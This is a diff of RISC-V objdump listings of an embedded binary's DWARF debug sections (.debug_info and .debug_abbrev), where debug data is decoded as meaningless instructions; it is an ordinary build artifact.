-    312a:	0000236f          	jal	t1,512a <__stack_size+0x492a>
-    312e:	2316                	fld	ft6,320(sp)
-    3130:	0006                	c.slli	zero,0x1
-    3132:	9300                	0x9300
-    3134:	16000023          	sb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    3138:	0630                	addi	a2,sp,776
-    313a:	0000                	unimp
-    313c:	23a6                	fld	ft7,72(sp)
-    313e:	0000                	unimp
-    3140:	3d16                	fld	fs10,352(sp)
-    3142:	0006                	c.slli	zero,0x1
-    3144:	b900                	fsd	fs0,48(a0)
-    3146:	16000023          	sb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    314a:	064a                	slli	a2,a2,0x12
-    314c:	0000                	unimp
-    314e:	23e2                	fld	ft7,24(sp)
-    3150:	0000                	unimp
-    3152:	5716                	lw	a4,100(sp)
-    3154:	0006                	c.slli	zero,0x1
-    3156:	0000                	unimp
-    3158:	0024                	addi	s1,sp,8
-    315a:	0000                	unimp
-    315c:	0006c617          	auipc	a2,0x6c
-    3160:	d000                	sw	s0,32(s0)
-    3162:	0004                	0x4
-    3164:	8700                	0x8700
-    3166:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    316a:	000006cb          	fnmsub.s	fa3,ft0,ft0,ft0,rne
-    316e:	241e                	fld	fs0,448(sp)
-    3170:	0000                	unimp
-    3172:	d816                	sw	t0,48(sp)
-    3174:	0006                	c.slli	zero,0x1
-    3176:	3100                	fld	fs0,32(a0)
-    3178:	0024                	addi	s1,sp,8
-    317a:	0000                	unimp
-    317c:	e618                	fsw	fa4,8(a2)
-    317e:	0006                	c.slli	zero,0x1
-    3180:	e400                	fsw	fs0,8(s0)
-    3182:	4050                	lw	a2,4(s0)
-    3184:	0e20                	addi	s0,sp,792
-    3186:	0000                	unimp
-    3188:	a200                	fsd	fs0,0(a2)
-    318a:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    318e:	000006eb          	0x6eb
-    3192:	2444                	fld	fs1,136(s0)
-    3194:	0000                	unimp
-    3196:	1900                	addi	s0,sp,176
-    3198:	06f9                	addi	a3,a3,30
-    319a:	0000                	unimp
-    319c:	5104                	lw	s1,32(a0)
-    319e:	2040                	fld	fs0,128(s0)
-    31a0:	0112                	slli	sp,sp,0x4
-    31a2:	0000                	unimp
-    31a4:	fa1a                	fsw	ft6,52(sp)
-    31a6:	0006                	c.slli	zero,0x1
-    31a8:	0100                	addi	s0,sp,128
-    31aa:	165d                	addi	a2,a2,-9
-    31ac:	0706                	slli	a4,a4,0x1
-    31ae:	0000                	unimp
-    31b0:	00002457          	0x2457
-    31b4:	00071217          	auipc	tp,0x71
-    31b8:	e800                	fsw	fs0,16(s0)
-    31ba:	0004                	0x4
-    31bc:	0c00                	addi	s0,sp,528
-    31be:	0004                	0x4
-    31c0:	1600                	addi	s0,sp,800
-    31c2:	00000717          	auipc	a4,0x0
-    31c6:	2480                	fld	fs0,8(s1)
-    31c8:	0000                	unimp
-    31ca:	2416                	fld	fs0,320(sp)
-    31cc:	a2000007          	0xa2000007
-    31d0:	0024                	addi	s1,sp,8
-    31d2:	1600                	addi	s0,sp,800
-    31d4:	0731                	addi	a4,a4,12
-    31d6:	0000                	unimp
-    31d8:	24c6                	fld	fs1,80(sp)
-    31da:	0000                	unimp
-    31dc:	3e16                	fld	ft8,352(sp)
-    31de:	e4000007          	0xe4000007
-    31e2:	0024                	addi	s1,sp,8
-    31e4:	1600                	addi	s0,sp,800
-    31e6:	0000074b          	fnmsub.s	fa4,ft0,ft0,ft0,rne
-    31ea:	2502                	fld	fa0,0(sp)
-    31ec:	0000                	unimp
-    31ee:	5816                	lw	a6,100(sp)
-    31f0:	2b000007          	0x2b000007
-    31f4:	0025                	c.nop	9
-    31f6:	1600                	addi	s0,sp,800
-    31f8:	0765                	addi	a4,a4,25
-    31fa:	0000                	unimp
-    31fc:	2554                	fld	fa3,136(a0)
-    31fe:	0000                	unimp
-    3200:	1700                	addi	s0,sp,928
-    3202:	00000773          	0x773
-    3206:	0520                	addi	s0,sp,648
-    3208:	0000                	unimp
-    320a:	0460                	addi	s0,sp,524
-    320c:	0000                	unimp
-    320e:	7816                	flw	fa6,100(sp)
-    3210:	82000007          	0x82000007
-    3214:	0025                	c.nop	9
-    3216:	1600                	addi	s0,sp,800
-    3218:	0785                	addi	a5,a5,1
-    321a:	0000                	unimp
-    321c:	2595                	jal	3880 <__stack_size+0x3080>
-    321e:	0000                	unimp
-    3220:	9216                	add	tp,tp,t0
-    3222:	ba000007          	0xba000007
-    3226:	0025                	c.nop	9
-    3228:	1600                	addi	s0,sp,800
-    322a:	079f 0000 25cd      	0x25cd0000079f
-    3230:	0000                	unimp
-    3232:	ac16                	fsd	ft5,24(sp)
-    3234:	e0000007          	0xe0000007
-    3238:	0025                	c.nop	9
-    323a:	1600                	addi	s0,sp,800
-    323c:	07b9                	addi	a5,a5,14
-    323e:	0000                	unimp
-    3240:	000025f3          	csrr	a1,ustatus
-    3244:	c616                	sw	t0,12(sp)
-    3246:	36000007          	0x36000007
-    324a:	0026                	c.slli	zero,0x9
-    324c:	1a00                	addi	s0,sp,304
-    324e:	000007d3          	fadd.s	fa5,ft0,ft0,rne
-    3252:	5e01                	li	t3,-32
-    3254:	1800                	addi	s0,sp,48
-    3256:	07e1                	addi	a5,a5,24
-    3258:	0000                	unimp
-    325a:	51ea                	lw	gp,184(sp)
-    325c:	2040                	fld	fs0,128(s0)
-    325e:	000e                	c.slli	zero,0x3
-    3260:	0000                	unimp
-    3262:	0000047b          	0x47b
-    3266:	e616                	fsw	ft5,12(sp)
-    3268:	49000007          	0x49000007
-    326c:	0026                	c.slli	zero,0x9
-    326e:	0000                	unimp
-    3270:	f419                	bnez	s0,317e <__stack_size+0x297e>
-    3272:	f8000007          	0xf8000007
-    3276:	4051                	c.li	zero,20
-    3278:	0c20                	addi	s0,sp,536
-    327a:	0000                	unimp
-    327c:	1a00                	addi	s0,sp,304
-    327e:	07f5                	addi	a5,a5,29
-    3280:	0000                	unimp
-    3282:	5f01                	li	t5,-32
-    3284:	0000                	unimp
-    3286:	0000                	unimp
-    3288:	1b00                	addi	s0,sp,432
-    328a:	a5f5                	j	3976 <__stack_size+0x3176>
-    328c:	0000                	unimp
-    328e:	f701                	bnez	a4,3196 <__stack_size+0x2996>
-    3290:	00ae0103          	lb	sp,10(t3) # 1a00a <__stack_size+0x1980a>
-    3294:	0000                	unimp
-    3296:	00080503          	lb	a0,0(a6)
-    329a:	1c00                	addi	s0,sp,560
-    329c:	006e                	c.slli	zero,0x1b
-    329e:	f701                	bnez	a4,31a6 <__stack_size+0x29a6>
-    32a0:	00ae1703          	lh	a4,10(t3)
-    32a4:	0000                	unimp
-    32a6:	641c                	flw	fa5,8(s0)
-    32a8:	0100                	addi	s0,sp,128
-    32aa:	ae2203f7          	0xae2203f7
-    32ae:	0000                	unimp
-    32b0:	1c00                	addi	s0,sp,560
-    32b2:	7072                	flw	ft0,60(sp)
-    32b4:	0100                	addi	s0,sp,128
-    32b6:	052e03f7          	0x52e03f7
-    32ba:	0008                	0x8
-    32bc:	1d00                	addi	s0,sp,688
-    32be:	6e6e                	flw	ft8,216(sp)
-    32c0:	0100                	addi	s0,sp,128
-    32c2:	03f9                	addi	t2,t2,30
-    32c4:	3711                	jal	31c8 <__stack_size+0x29c8>
-    32c6:	0001                	nop
-    32c8:	1d00                	addi	s0,sp,688
-    32ca:	6464                	flw	fs1,76(s0)
-    32cc:	0100                	addi	s0,sp,128
-    32ce:	03fa                	slli	t2,t2,0x1e
-    32d0:	3711                	jal	31d4 <__stack_size+0x29d4>
-    32d2:	0001                	nop
-    32d4:	1d00                	addi	s0,sp,688
-    32d6:	7272                	flw	ft4,60(sp)
-    32d8:	0100                	addi	s0,sp,128
-    32da:	2a0b03fb          	0x2a0b03fb
-    32de:	0001                	nop
-    32e0:	1d00                	addi	s0,sp,688
-    32e2:	3064                	fld	fs1,224(s0)
-    32e4:	0100                	addi	s0,sp,128
-    32e6:	03fc                	addi	a5,sp,460
-    32e8:	960a                	add	a2,a2,sp
-    32ea:	0000                	unimp
-    32ec:	1d00                	addi	s0,sp,688
-    32ee:	3164                	fld	fs1,224(a0)
-    32f0:	0100                	addi	s0,sp,128
-    32f2:	03fc                	addi	a5,sp,460
-    32f4:	960e                	add	a2,a2,gp
-    32f6:	0000                	unimp
-    32f8:	1d00                	addi	s0,sp,688
-    32fa:	306e                	fld	ft0,248(sp)
-    32fc:	0100                	addi	s0,sp,128
-    32fe:	03fc                	addi	a5,sp,460
-    3300:	9612                	add	a2,a2,tp
-    3302:	0000                	unimp
-    3304:	1d00                	addi	s0,sp,688
-    3306:	316e                	fld	ft2,248(sp)
-    3308:	0100                	addi	s0,sp,128
-    330a:	03fc                	addi	a5,sp,460
-    330c:	9616                	add	a2,a2,t0
-    330e:	0000                	unimp
-    3310:	1d00                	addi	s0,sp,688
-    3312:	326e                	fld	ft4,248(sp)
-    3314:	0100                	addi	s0,sp,128
-    3316:	03fc                	addi	a5,sp,460
-    3318:	961a                	add	a2,a2,t1
-    331a:	0000                	unimp
-    331c:	1d00                	addi	s0,sp,688
-    331e:	3071                	jal	2baa <__stack_size+0x23aa>
-    3320:	0100                	addi	s0,sp,128
-    3322:	03fd                	addi	t2,t2,31
-    3324:	960a                	add	a2,a2,sp
-    3326:	0000                	unimp
-    3328:	1d00                	addi	s0,sp,688
-    332a:	3171                	jal	2fb6 <__stack_size+0x27b6>
-    332c:	0100                	addi	s0,sp,128
-    332e:	03fd                	addi	t2,t2,31
-    3330:	960e                	add	a2,a2,gp
-    3332:	0000                	unimp
-    3334:	1d00                	addi	s0,sp,688
-    3336:	0062                	c.slli	zero,0x18
-    3338:	fe01                	bnez	a2,3250 <__stack_size+0x2a50>
-    333a:	00960a03          	lb	s4,9(a2) # 6f165 <__stack_size+0x6e965>
-    333e:	0000                	unimp
-    3340:	621d                	lui	tp,0x7
-    3342:	006d                	c.nop	27
-    3344:	fe01                	bnez	a2,325c <__stack_size+0x2a5c>
-    3346:	00960d03          	lb	s10,9(a2)
-    334a:	0000                	unimp
-    334c:	771d                	lui	a4,0xfffe7
-    334e:	c7010077          	0xc7010077
-    3352:	1104                	addi	s1,sp,160
-    3354:	00000137          	lui	sp,0x0
-    3358:	831e                	mv	t1,t2
-    335a:	0005                	c.nop	1
-    335c:	1f00                	addi	s0,sp,944
-    335e:	a5f0                	fsd	fa2,200(a1)
-    3360:	0000                	unimp
-    3362:	2e01                	jal	3672 <__stack_size+0x2e72>
-    3364:	0404                	addi	s1,sp,512
-    3366:	0096                	slli	ra,ra,0x5
-    3368:	0000                	unimp
-    336a:	5f1d                	li	t5,-25
-    336c:	615f 0100 042e      	0x42e0100615f
-    3372:	9604                	0x9604
-    3374:	0000                	unimp
-    3376:	0000                	unimp
-    3378:	e41e                	fsw	ft7,8(sp)
-    337a:	0005                	c.nop	1
-    337c:	1f00                	addi	s0,sp,944
-    337e:	a5a9                	j	39c8 <__stack_size+0x31c8>
-    3380:	0000                	unimp
-    3382:	3a01                	jal	2c92 <__stack_size+0x2492>
-    3384:	0404                	addi	s1,sp,512
-    3386:	0096                	slli	ra,ra,0x5
-    3388:	0000                	unimp
-    338a:	a41f 00a5 0100      	0x10000a5a41f
-    3390:	043a                	slli	s0,s0,0xe
-    3392:	9604                	0x9604
-    3394:	0000                	unimp
-    3396:	1f00                	addi	s0,sp,944
-    3398:	0000a5eb          	0xa5eb
-    339c:	3a01                	jal	2cac <__stack_size+0x24ac>
-    339e:	0404                	addi	s1,sp,512
-    33a0:	0096                	slli	ra,ra,0x5
-    33a2:	0000                	unimp
-    33a4:	e61f 00a5 0100      	0x10000a5e61f
-    33aa:	043a                	slli	s0,s0,0xe
-    33ac:	9604                	0x9604
-    33ae:	0000                	unimp
-    33b0:	1f00                	addi	s0,sp,944
-    33b2:	0000a607          	flw	fa2,0(ra)
-    33b6:	3a01                	jal	2cc6 <__stack_size+0x24c6>
-    33b8:	0404                	addi	s1,sp,512
-    33ba:	0096                	slli	ra,ra,0x5
-    33bc:	0000                	unimp
-    33be:	021f 00a6 0100      	0x10000a6021f
-    33c4:	043a                	slli	s0,s0,0xe
-    33c6:	9604                	0x9604
-    33c8:	0000                	unimp
-    33ca:	1d00                	addi	s0,sp,688
-    33cc:	5f5f 006d 3a01      	0x3a01006d5f5f
-    33d2:	0404                	addi	s1,sp,512
-    33d4:	0096                	slli	ra,ra,0x5
-    33d6:	0000                	unimp
-    33d8:	1e00                	addi	s0,sp,816
-    33da:	0604                	addi	s1,sp,768
-    33dc:	0000                	unimp
-    33de:	f01f 00a5 0100      	0x10000a5f01f
-    33e4:	0446                	slli	s0,s0,0x11
-    33e6:	9604                	0x9604
-    33e8:	0000                	unimp
-    33ea:	1d00                	addi	s0,sp,688
-    33ec:	5f5f 0061 4601      	0x460100615f5f
-    33f2:	0404                	addi	s1,sp,512
-    33f4:	0096                	slli	ra,ra,0x5
-    33f6:	0000                	unimp
-    33f8:	1e00                	addi	s0,sp,816
-    33fa:	0665                	addi	a2,a2,25
-    33fc:	0000                	unimp
-    33fe:	a91f 00a5 0100      	0x10000a5a91f
-    3404:	045f 9608 0000      	0x9608045f
-    340a:	1f00                	addi	s0,sp,944
-    340c:	a5a4                	fsd	fs1,72(a1)
-    340e:	0000                	unimp
-    3410:	5f01                	li	t5,-32
-    3412:	0804                	addi	s1,sp,16
-    3414:	0096                	slli	ra,ra,0x5
-    3416:	0000                	unimp
-    3418:	eb1f 00a5 0100      	0x10000a5eb1f
-    341e:	045f 9608 0000      	0x9608045f
-    3424:	1f00                	addi	s0,sp,944
-    3426:	a5e6                	fsd	fs9,200(sp)
-    3428:	0000                	unimp
-    342a:	5f01                	li	t5,-32
-    342c:	0804                	addi	s1,sp,16
-    342e:	0096                	slli	ra,ra,0x5
-    3430:	0000                	unimp
-    3432:	071f 00a6 0100      	0x10000a6071f
-    3438:	045f 9608 0000      	0x9608045f
-    343e:	1f00                	addi	s0,sp,944
-    3440:	a602                	fsd	ft0,264(sp)
-    3442:	0000                	unimp
-    3444:	5f01                	li	t5,-32
-    3446:	0804                	addi	s1,sp,16
-    3448:	0096                	slli	ra,ra,0x5
-    344a:	0000                	unimp
-    344c:	5f1d                	li	t5,-25
-    344e:	6d5f 0100 045f      	0x45f01006d5f
-    3454:	9608                	0x9608
-    3456:	0000                	unimp
-    3458:	0000                	unimp
-    345a:	c61e                	sw	t2,12(sp)
-    345c:	0006                	c.slli	zero,0x1
-    345e:	1f00                	addi	s0,sp,944
-    3460:	a5a9                	j	3aaa <__stack_size+0x32aa>
-    3462:	0000                	unimp
-    3464:	6401                	0x6401
-    3466:	0404                	addi	s1,sp,512
-    3468:	0096                	slli	ra,ra,0x5
-    346a:	0000                	unimp
-    346c:	a41f 00a5 0100      	0x10000a5a41f
-    3472:	0464                	addi	s1,sp,524
-    3474:	9604                	0x9604
-    3476:	0000                	unimp
-    3478:	1f00                	addi	s0,sp,944
-    347a:	0000a5eb          	0xa5eb
-    347e:	6401                	0x6401
-    3480:	0404                	addi	s1,sp,512
-    3482:	0096                	slli	ra,ra,0x5
-    3484:	0000                	unimp
-    3486:	e61f 00a5 0100      	0x10000a5e61f
-    348c:	0464                	addi	s1,sp,524
-    348e:	9604                	0x9604
-    3490:	0000                	unimp
-    3492:	1f00                	addi	s0,sp,944
-    3494:	0000a607          	flw	fa2,0(ra)
-    3498:	6401                	0x6401
-    349a:	0404                	addi	s1,sp,512
-    349c:	0096                	slli	ra,ra,0x5
-    349e:	0000                	unimp
-    34a0:	021f 00a6 0100      	0x10000a6021f
-    34a6:	0464                	addi	s1,sp,524
-    34a8:	9604                	0x9604
-    34aa:	0000                	unimp
-    34ac:	1d00                	addi	s0,sp,688
-    34ae:	5f5f 006d 6401      	0x6401006d5f5f
-    34b4:	0404                	addi	s1,sp,512
-    34b6:	0096                	slli	ra,ra,0x5
-    34b8:	0000                	unimp
-    34ba:	1e00                	addi	s0,sp,816
-    34bc:	06e6                	slli	a3,a3,0x19
-    34be:	0000                	unimp
-    34c0:	f01f 00a5 0100      	0x10000a5f01f
-    34c6:	96040487          	0x96040487
-    34ca:	0000                	unimp
-    34cc:	1d00                	addi	s0,sp,688
-    34ce:	5f5f 0061 8701      	0x870100615f5f
-    34d4:	0404                	addi	s1,sp,512
-    34d6:	0096                	slli	ra,ra,0x5
-    34d8:	0000                	unimp
-    34da:	1e00                	addi	s0,sp,816
-    34dc:	06f9                	addi	a3,a3,30
-    34de:	0000                	unimp
-    34e0:	5f1d                	li	t5,-25
-    34e2:	785f 0100 0495      	0x4950100785f
-    34e8:	9605                	srai	a2,a2,0x21
-    34ea:	0000                	unimp
-    34ec:	0000                	unimp
-    34ee:	1d20                	addi	s0,sp,696
-    34f0:	316d                	jal	319a <__stack_size+0x299a>
-    34f2:	0100                	addi	s0,sp,128
-    34f4:	04a5                	addi	s1,s1,9
-    34f6:	0000960f          	0x960f
-    34fa:	1d00                	addi	s0,sp,688
-    34fc:	306d                	jal	2da6 <__stack_size+0x25a6>
-    34fe:	0100                	addi	s0,sp,128
-    3500:	04a5                	addi	s1,s1,9
-    3502:	00009613          	slli	a2,ra,0x0
-    3506:	1e00                	addi	s0,sp,816
-    3508:	00000773          	0x773
-    350c:	a91f 00a5 0100      	0x10000a5a91f
-    3512:	04b0                	addi	a2,sp,584
-    3514:	9608                	0x9608
-    3516:	0000                	unimp
-    3518:	1f00                	addi	s0,sp,944
-    351a:	a5a4                	fsd	fs1,72(a1)
-    351c:	0000                	unimp
-    351e:	b001                	j	2d1e <__stack_size+0x251e>
-    3520:	0804                	addi	s1,sp,16
-    3522:	0096                	slli	ra,ra,0x5
-    3524:	0000                	unimp
-    3526:	eb1f 00a5 0100      	0x10000a5eb1f
-    352c:	04b0                	addi	a2,sp,584
-    352e:	9608                	0x9608
-    3530:	0000                	unimp
-    3532:	1f00                	addi	s0,sp,944
-    3534:	a5e6                	fsd	fs9,200(sp)
-    3536:	0000                	unimp
-    3538:	b001                	j	2d38 <__stack_size+0x2538>
-    353a:	0804                	addi	s1,sp,16
-    353c:	0096                	slli	ra,ra,0x5
-    353e:	0000                	unimp
-    3540:	071f 00a6 0100      	0x10000a6071f
-    3546:	04b0                	addi	a2,sp,584
-    3548:	9608                	0x9608
-    354a:	0000                	unimp
-    354c:	1f00                	addi	s0,sp,944
-    354e:	a602                	fsd	ft0,264(sp)
-    3550:	0000                	unimp
-    3552:	b001                	j	2d52 <__stack_size+0x2552>
-    3554:	0804                	addi	s1,sp,16
-    3556:	0096                	slli	ra,ra,0x5
-    3558:	0000                	unimp
-    355a:	5f1d                	li	t5,-25
-    355c:	6d5f 0100 04b0      	0x4b001006d5f
-    3562:	9608                	0x9608
-    3564:	0000                	unimp
-    3566:	0000                	unimp
-    3568:	e11e                	fsw	ft7,128(sp)
-    356a:	1f000007          	0x1f000007
-    356e:	a5c2                	fsd	fa6,200(sp)
-    3570:	0000                	unimp
-    3572:	b101                	j	3172 <__stack_size+0x2972>
-    3574:	0804                	addi	s1,sp,16
-    3576:	0096                	slli	ra,ra,0x5
-    3578:	0000                	unimp
-    357a:	c71f 00a5 0100      	0x10000a5c71f
-    3580:	04b1                	addi	s1,s1,12
-    3582:	9608                	0x9608
-    3584:	0000                	unimp
-    3586:	1f00                	addi	s0,sp,944
-    3588:	a5cc                	fsd	fa1,136(a1)
-    358a:	0000                	unimp
-    358c:	b101                	j	318c <__stack_size+0x298c>
-    358e:	0804                	addi	s1,sp,16
-    3590:	0096                	slli	ra,ra,0x5
-    3592:	0000                	unimp
-    3594:	d11f 00a5 0100      	0x10000a5d11f
-    359a:	04b1                	addi	s1,s1,12
-    359c:	9608                	0x9608
-    359e:	0000                	unimp
-    35a0:	1f00                	addi	s0,sp,944
-    35a2:	a611                	j	38a6 <__stack_size+0x30a6>
-    35a4:	0000                	unimp
-    35a6:	b101                	j	31a6 <__stack_size+0x29a6>
-    35a8:	0804                	addi	s1,sp,16
-    35aa:	0096                	slli	ra,ra,0x5
-    35ac:	0000                	unimp
-    35ae:	b31f 00a5 0100      	0x10000a5b31f
-    35b4:	04b1                	addi	s1,s1,12
-    35b6:	9608                	0x9608
-    35b8:	0000                	unimp
-    35ba:	1f00                	addi	s0,sp,944
-    35bc:	a60c                	fsd	fa1,8(a2)
-    35be:	0000                	unimp
-    35c0:	b101                	j	31c0 <__stack_size+0x29c0>
-    35c2:	0804                	addi	s1,sp,16
-    35c4:	0096                	slli	ra,ra,0x5
-    35c6:	0000                	unimp
-    35c8:	ae1f 00a5 0100      	0x10000a5ae1f
-    35ce:	04b1                	addi	s1,s1,12
-    35d0:	9608                	0x9608
-    35d2:	0000                	unimp
-    35d4:	0000                	unimp
-    35d6:	f41e                	fsw	ft7,40(sp)
-    35d8:	1d000007          	0x1d000007
-    35dc:	5f5f 0078 b601      	0xb60100785f5f
-    35e2:	0504                	addi	s1,sp,640
-    35e4:	0096                	slli	ra,ra,0x5
-    35e6:	0000                	unimp
-    35e8:	2000                	fld	fs0,0(s0)
-    35ea:	5f1d                	li	t5,-25
-    35ec:	785f 0100 04be      	0x4be0100785f
-    35f2:	9605                	srai	a2,a2,0x21
-    35f4:	0000                	unimp
-    35f6:	0000                	unimp
-    35f8:	0000                	unimp
-    35fa:	0421                	addi	s0,s0,8
-    35fc:	00ae                	slli	ra,ra,0xb
-    35fe:	0000                	unimp
+    1fae:	00a41b1b          	0xa41b1b
+    1fb2:	1b00                	addi	s0,sp,432
+    1fb4:	00a4                	addi	s1,sp,72
+    1fb6:	0a00                	addi	s0,sp,272
+    1fb8:	0996                	slli	s3,s3,0x5
+    1fba:	00a3301b          	0xa3301b
+    1fbe:	3000                	fld	fs0,32(s0)
+    1fc0:	0b0000a3          	sb	a6,161(zero) # a1 <__stack_size-0x75f>
+    1fc4:	0624                	addi	s1,sp,776
 	...
 
 Disassembly of section .debug_abbrev:
@@ -20383,18 +12752,17 @@ Disassembly of section .debug_abbrev:
   2e:	030b3e0b          	0x30b3e0b
   32:	000e                	c.slli	zero,0x3
   34:	0300                	addi	s0,sp,384
-  36:	0024                	addi	s1,sp,8
-  38:	0b3e0b0b          	0xb3e0b0b
-  3c:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
-  40:	1604                	addi	s1,sp,800
-  42:	0300                	addi	s0,sp,384
-  44:	3a0e                	fld	fs4,224(sp)
-  46:	390b3b0b          	0x390b3b0b
-  4a:	0013490b          	0x13490b
-  4e:	0500                	addi	s0,sp,640
-  50:	0026                	c.slli	zero,0x9
-  52:	1349                	addi	t1,t1,-14
-  54:	0000                	unimp
+  36:	0016                	c.slli	zero,0x5
+  38:	0b3a0e03          	lb	t3,179(s4) # 40221fa7 <_data_lma+0x1fe1da87>
+  3c:	0b390b3b          	0xb390b3b
+  40:	1349                	addi	t1,t1,-14
+  42:	0000                	unimp
+  44:	2604                	fld	fs1,8(a2)
+  46:	4900                	lw	s0,16(a0)
+  48:	05000013          	li	zero,80
+  4c:	0024                	addi	s1,sp,8
+  4e:	0b3e0b0b          	0xb3e0b0b
+  52:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
   56:	3506                	fld	fa0,96(sp)
   58:	4900                	lw	s0,16(a0)
   5a:	07000013          	li	zero,112
@@ -20403,834 +12771,614 @@ Disassembly of section .debug_abbrev:
   64:	0000                	unimp
   66:	0108                	addi	a0,sp,128
   68:	4901                	li	s2,0
-  6a:	00130113          	addi	sp,t1,1
+  6a:	00130113          	addi	sp,t1,1 # ffffb001 <_heap_end+0x7ffec801>
   6e:	0900                	addi	s0,sp,144
   70:	0021                	c.nop	8
   72:	1349                	addi	t1,t1,-14
   74:	00000b2f          	0xb2f
-  78:	260a                	fld	fa2,128(sp)
-  7a:	0000                	unimp
-  7c:	0b00                	addi	s0,sp,400
-  7e:	0b0b0113          	addi	sp,s6,176 # fffe00b0 <_heap_end+0x7ffd18b0>
-  82:	0b3a                	slli	s6,s6,0xe
-  84:	0b390b3b          	0xb390b3b
-  88:	1301                	addi	t1,t1,-32
-  8a:	0000                	unimp
-  8c:	0d0c                	addi	a1,sp,656
-  8e:	0300                	addi	s0,sp,384
-  90:	3a0e                	fld	fs4,224(sp)
-  92:	390b3b0b          	0x390b3b0b
-  96:	3813490b          	0x3813490b
-  9a:	0d00000b          	0xd00000b
-  9e:	000d                	c.nop	3
-  a0:	0b3a0803          	lb	a6,179(s4)
-  a4:	0b390b3b          	0xb390b3b
-  a8:	1349                	addi	t1,t1,-14
-  aa:	0b38                	addi	a4,sp,408
-  ac:	0000                	unimp
-  ae:	340e                	fld	fs0,224(sp)
-  b0:	0300                	addi	s0,sp,384
-  b2:	3a0e                	fld	fs4,224(sp)
-  b4:	390b3b0b          	0x390b3b0b
-  b8:	0213490b          	0x213490b
-  bc:	0018                	0x18
-  be:	0f00                	addi	s0,sp,912
-  c0:	012e                	slli	sp,sp,0xb
-  c2:	0e03193f 053b0b3a 	0x53b0b3a0e03193f
-  ca:	0b39                	addi	s6,s6,14
-  cc:	13491927          	0x13491927
-  d0:	0111                	addi	sp,sp,4
-  d2:	0612                	slli	a2,a2,0x4
-  d4:	1840                	addi	s0,sp,52
-  d6:	01194297          	auipc	t0,0x1194
-  da:	10000013          	li	zero,256
-  de:	0111010b          	0x111010b
-  e2:	0612                	slli	a2,a2,0x4
-  e4:	1301                	addi	t1,t1,-32
-  e6:	0000                	unimp
-  e8:	3411                	jal	fffffaec <_heap_end+0x7fff12ec>
-  ea:	0300                	addi	s0,sp,384
-  ec:	3a08                	fld	fa0,48(a2)
-  ee:	39053b0b          	0x39053b0b
-  f2:	0013490b          	0x13490b
-  f6:	1200                	addi	s0,sp,288
-  f8:	8289                	srli	a3,a3,0x2
-  fa:	0101                	addi	sp,sp,0
-  fc:	0111                	addi	sp,sp,4
-  fe:	1331                	addi	t1,t1,-20
- 100:	1301                	addi	t1,t1,-32
- 102:	0000                	unimp
- 104:	01828a13          	addi	s4,t0,24 # 11940ee <__stack_size+0x11938ee>
- 108:	0200                	addi	s0,sp,256
- 10a:	9118                	0x9118
- 10c:	1842                	slli	a6,a6,0x30
- 10e:	0000                	unimp
- 110:	8914                	0x8914
- 112:	0182                	c.slli64	gp
- 114:	1100                	addi	s0,sp,160
- 116:	3101                	jal	fffffd16 <_heap_end+0x7fff1516>
- 118:	15000013          	li	zero,336
- 11c:	012e                	slli	sp,sp,0xb
- 11e:	0e03193f 053b0b3a 	0x53b0b3a0e03193f
- 126:	0b39                	addi	s6,s6,14
- 128:	1349                	addi	t1,t1,-14
- 12a:	0111                	addi	sp,sp,4
- 12c:	0612                	slli	a2,a2,0x4
- 12e:	1840                	addi	s0,sp,52
- 130:	01194297          	auipc	t0,0x1194
- 134:	16000013          	li	zero,352
- 138:	0034                	addi	a3,sp,8
- 13a:	0b3a0803          	lb	a6,179(s4)
- 13e:	0b39053b          	0xb39053b
- 142:	1349                	addi	t1,t1,-14
- 144:	1802                	slli	a6,a6,0x20
- 146:	0000                	unimp
- 148:	03003417          	auipc	s0,0x3003
- 14c:	3a0e                	fld	fs4,224(sp)
- 14e:	39053b0b          	0x39053b0b
- 152:	0213490b          	0x213490b
- 156:	0018                	0x18
- 158:	1800                	addi	s0,sp,48
- 15a:	0034                	addi	a3,sp,8
- 15c:	0b3a0803          	lb	a6,179(s4)
- 160:	0b39053b          	0xb39053b
- 164:	1349                	addi	t1,t1,-14
- 166:	1702                	slli	a4,a4,0x20
- 168:	0000                	unimp
- 16a:	0b19                	addi	s6,s6,6
- 16c:	5501                	li	a0,-32
- 16e:	1a000017          	auipc	zero,0x1a000
- 172:	1755010b          	0x1755010b
- 176:	1301                	addi	t1,t1,-32
- 178:	0000                	unimp
- 17a:	0182891b          	0x182891b
- 17e:	1101                	addi	sp,sp,-32
- 180:	3101                	jal	fffffd80 <_heap_end+0x7fff1580>
- 182:	1c000013          	li	zero,448
- 186:	012e                	slli	sp,sp,0xb
- 188:	0e03193f 053b0b3a 	0x53b0b3a0e03193f
- 190:	0b39                	addi	s6,s6,14
- 192:	0111                	addi	sp,sp,4
- 194:	0612                	slli	a2,a2,0x4
- 196:	1840                	addi	s0,sp,52
- 198:	01194297          	auipc	t0,0x1194
- 19c:	1d000013          	li	zero,464
- 1a0:	0034                	addi	a3,sp,8
- 1a2:	0b3a0e03          	lb	t3,179(s4)
- 1a6:	0b39053b          	0xb39053b
- 1aa:	1349                	addi	t1,t1,-14
- 1ac:	1702                	slli	a4,a4,0x20
- 1ae:	0000                	unimp
- 1b0:	891e                	mv	s2,t2
- 1b2:	0182                	c.slli64	gp
- 1b4:	1100                	addi	s0,sp,160
- 1b6:	9501                	srai	a0,a0,0x20
- 1b8:	1942                	slli	s2,s2,0x30
- 1ba:	1331                	addi	t1,t1,-20
- 1bc:	0000                	unimp
- 1be:	0b1f 1101 1201      	0x120111010b1f
- 1c4:	0006                	c.slli	zero,0x1
- 1c6:	2000                	fld	fs0,0(s0)
- 1c8:	0104                	addi	s1,sp,128
- 1ca:	0b3e                	slli	s6,s6,0xf
- 1cc:	13490b0b          	0x13490b0b
- 1d0:	0b3a                	slli	s6,s6,0xe
- 1d2:	0b39053b          	0xb39053b
- 1d6:	1301                	addi	t1,t1,-32
- 1d8:	0000                	unimp
- 1da:	2821                	jal	1f2 <__stack_size-0x60e>
- 1dc:	0300                	addi	s0,sp,384
- 1de:	1c0e                	slli	s8,s8,0x23
- 1e0:	2200000b          	0x2200000b
- 1e4:	0016                	c.slli	zero,0x5
- 1e6:	0b3a0e03          	lb	t3,179(s4)
- 1ea:	0b39053b          	0xb39053b
- 1ee:	1349                	addi	t1,t1,-14
- 1f0:	0000                	unimp
